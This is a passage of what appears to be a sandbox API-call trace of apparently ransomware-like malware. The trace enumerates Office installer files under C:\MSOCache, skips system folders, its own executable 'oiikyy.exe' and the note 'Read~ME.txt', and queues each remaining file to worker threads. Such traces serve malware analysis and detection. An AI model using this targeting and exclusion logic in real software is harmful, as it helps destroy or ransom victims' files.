	[0065.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.732] GetCurrentThreadId () returned 0x618
	[0065.732] GetCurrentThreadId () returned 0x618
	[0065.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac580
	[0065.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3acbe0
	[0065.732] RtlWakeConditionVariable () returned 0x365f48
	[0065.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.732] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1
	[0065.732] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="Windows") returned -1
	[0065.732] lstrcmpW (lpString1="PrjProrWW.msi", lpString2="oiikyy.exe") returned 1
	[0065.732] StrStrW (lpFirst="PrjProrWW.msi", lpSrch=".~~~~") returned 0x0
	[0065.732] lstrcmpW (lpString1="PrjProrWW.msi", lpString2="Read~ME.txt") returned -1
	[0065.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.732] GetCurrentThreadId () returned 0x618
	[0065.733] GetCurrentThreadId () returned 0x618
	[0065.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0065.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a50d0
	[0065.733] RtlWakeConditionVariable () returned 0x365f48
	[0065.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.733] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0065.733] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="Windows") returned -1
	[0065.733] lstrcmpW (lpString1="PrjProrWW.xml", lpString2="oiikyy.exe") returned 1
	[0065.733] StrStrW (lpFirst="PrjProrWW.xml", lpSrch=".~~~~") returned 0x0
	[0065.733] lstrcmpW (lpString1="PrjProrWW.xml", lpString2="Read~ME.txt") returned -1
	[0065.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.733] GetCurrentThreadId () returned 0x618
	[0065.733] GetCurrentThreadId () returned 0x618
	[0065.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5f0
	[0065.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5188
	[0065.733] RtlWakeConditionVariable () returned 0x365f48
	[0065.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.733] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1
	[0065.733] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="Windows") returned -1
	[0065.733] lstrcmpW (lpString1="PrjPrrWW.cab", lpString2="oiikyy.exe") returned 1
	[0065.733] StrStrW (lpFirst="PrjPrrWW.cab", lpSrch=".~~~~") returned 0x0
	[0065.733] lstrcmpW (lpString1="PrjPrrWW.cab", lpString2="Read~ME.txt") returned -1
	[0065.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.733] GetCurrentThreadId () returned 0x618
	[0065.734] GetCurrentThreadId () returned 0x618
	[0065.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac628
	[0065.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0065.734] RtlWakeConditionVariable () returned 0x365f48
	[0065.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.734] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0065.734] lstrcmpiW (lpString1="setup.exe", lpString2="Windows") returned -1
	[0065.734] lstrcmpW (lpString1="setup.exe", lpString2="oiikyy.exe") returned 1
	[0065.734] StrStrW (lpFirst="setup.exe", lpSrch=".~~~~") returned 0x0
	[0065.734] lstrcmpW (lpString1="setup.exe", lpString2="Read~ME.txt") returned 1
	[0065.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.734] GetCurrentThreadId () returned 0x618
	[0065.734] GetCurrentThreadId () returned 0x618
	[0065.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac660
	[0065.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aae38
	[0065.734] RtlWakeConditionVariable () returned 0x365f48
	[0065.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.734] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0065.734] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0065.734] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0065.734] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0065.734] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0065.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.734] GetCurrentThreadId () returned 0x618
	[0065.735] GetCurrentThreadId () returned 0x618
	[0065.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac698
	[0065.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaee0
	[0065.735] RtlWakeConditionVariable () returned 0x365f48
	[0065.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.735] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0065.735] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0065.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.765] GetCurrentThreadId () returned 0x618
	[0065.765] GetCurrentThreadId () returned 0x618
	[0065.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac6d0
	[0065.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaf88
	[0065.765] RtlWakeConditionVariable () returned 0x365f48
	[0065.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0065.766] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1
	[0065.766] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0065.766] lstrcmpW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0065.766] lstrcmpW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0065.766] lstrcmpW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0065.766] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0065.766] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.766] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0065.766] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.766] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0065.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0065.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0065.855] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.855] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.855] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.855] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.855] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.856] GetCurrentThreadId () returned 0x618
	[0065.856] GetCurrentThreadId () returned 0x618
	[0065.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac708
	[0065.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0065.856] RtlWakeConditionVariable () returned 0x365f48
	[0065.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.856] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.856] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.856] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.856] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.856] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.856] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.856] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.856] GetCurrentThreadId () returned 0x618
	[0065.856] GetCurrentThreadId () returned 0x618
	[0065.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac740
	[0065.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0065.857] RtlWakeConditionVariable () returned 0x365f48
	[0065.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.857] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0065.857] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Windows") returned -1
	[0065.857] lstrcmpW (lpString1="Office32WW.msi", lpString2="oiikyy.exe") returned -1
	[0065.857] StrStrW (lpFirst="Office32WW.msi", lpSrch=".~~~~") returned 0x0
	[0065.857] lstrcmpW (lpString1="Office32WW.msi", lpString2="Read~ME.txt") returned -1
	[0065.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.857] GetCurrentThreadId () returned 0x618
	[0065.857] GetCurrentThreadId () returned 0x618
	[0065.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac778
	[0065.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0065.857] RtlWakeConditionVariable () returned 0x365f48
	[0065.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.857] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0065.857] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Windows") returned -1
	[0065.857] lstrcmpW (lpString1="Office32WW.xml", lpString2="oiikyy.exe") returned -1
	[0065.857] StrStrW (lpFirst="Office32WW.xml", lpSrch=".~~~~") returned 0x0
	[0065.857] lstrcmpW (lpString1="Office32WW.xml", lpString2="Read~ME.txt") returned -1
	[0065.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.857] GetCurrentThreadId () returned 0x618
	[0065.857] GetCurrentThreadId () returned 0x618
	[0065.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7b0
	[0065.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a52f8
	[0065.858] RtlWakeConditionVariable () returned 0x365f48
	[0065.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.858] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0065.858] lstrcmpiW (lpString1="ose.exe", lpString2="Windows") returned -1
	[0065.858] lstrcmpW (lpString1="ose.exe", lpString2="oiikyy.exe") returned 1
	[0065.858] StrStrW (lpFirst="ose.exe", lpSrch=".~~~~") returned 0x0
	[0065.858] lstrcmpW (lpString1="ose.exe", lpString2="Read~ME.txt") returned -1
	[0065.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.858] GetCurrentThreadId () returned 0x618
	[0065.858] GetCurrentThreadId () returned 0x618
	[0065.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7e8
	[0065.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0065.858] RtlWakeConditionVariable () returned 0x365f48
	[0065.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.858] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0065.858] lstrcmpiW (lpString1="osetup.dll", lpString2="Windows") returned -1
	[0065.858] lstrcmpW (lpString1="osetup.dll", lpString2="oiikyy.exe") returned 1
	[0065.858] StrStrW (lpFirst="osetup.dll", lpSrch=".~~~~") returned 0x0
	[0065.858] lstrcmpW (lpString1="osetup.dll", lpString2="Read~ME.txt") returned -1
	[0065.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.858] GetCurrentThreadId () returned 0x618
	[0065.859] GetCurrentThreadId () returned 0x618
	[0065.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac820
	[0065.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab0d8
	[0065.859] RtlWakeConditionVariable () returned 0x365f48
	[0065.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.859] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
	[0065.859] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Windows") returned -1
	[0065.859] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="oiikyy.exe") returned 1
	[0065.859] StrStrW (lpFirst="OWOW32WW.cab", lpSrch=".~~~~") returned 0x0
	[0065.859] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="Read~ME.txt") returned -1
	[0065.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.859] GetCurrentThreadId () returned 0x618
	[0065.859] GetCurrentThreadId () returned 0x618
	[0065.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac858
	[0065.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab180
	[0065.859] RtlWakeConditionVariable () returned 0x365f48
	[0065.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.859] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
	[0065.859] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Windows") returned -1
	[0065.859] lstrcmpW (lpString1="PidGenX.dll", lpString2="oiikyy.exe") returned 1
	[0065.859] StrStrW (lpFirst="PidGenX.dll", lpSrch=".~~~~") returned 0x0
	[0065.859] lstrcmpW (lpString1="PidGenX.dll", lpString2="Read~ME.txt") returned -1
	[0065.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.860] GetCurrentThreadId () returned 0x618
	[0065.860] GetCurrentThreadId () returned 0x618
	[0065.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac890
	[0065.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0065.860] RtlWakeConditionVariable () returned 0x365f48
	[0065.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.860] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0065.860] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1
	[0065.860] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="oiikyy.exe") returned 1
	[0065.860] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".~~~~") returned 0x0
	[0065.860] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Read~ME.txt") returned -1
	[0065.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.860] GetCurrentThreadId () returned 0x618
	[0065.860] GetCurrentThreadId () returned 0x618
	[0065.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac8c8
	[0065.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3acca8
	[0065.860] RtlWakeConditionVariable () returned 0x365f48
	[0065.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.860] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0065.860] lstrcmpiW (lpString1="setup.exe", lpString2="Windows") returned -1
	[0065.860] lstrcmpW (lpString1="setup.exe", lpString2="oiikyy.exe") returned 1
	[0065.860] StrStrW (lpFirst="setup.exe", lpSrch=".~~~~") returned 0x0
	[0065.861] lstrcmpW (lpString1="setup.exe", lpString2="Read~ME.txt") returned 1
	[0065.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.861] GetCurrentThreadId () returned 0x618
	[0065.861] GetCurrentThreadId () returned 0x618
	[0065.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
	[0065.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0065.861] RtlWakeConditionVariable () returned 0x365f48
	[0065.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.861] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0065.861] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0065.861] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0065.861] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0065.861] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0065.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.861] GetCurrentThreadId () returned 0x618
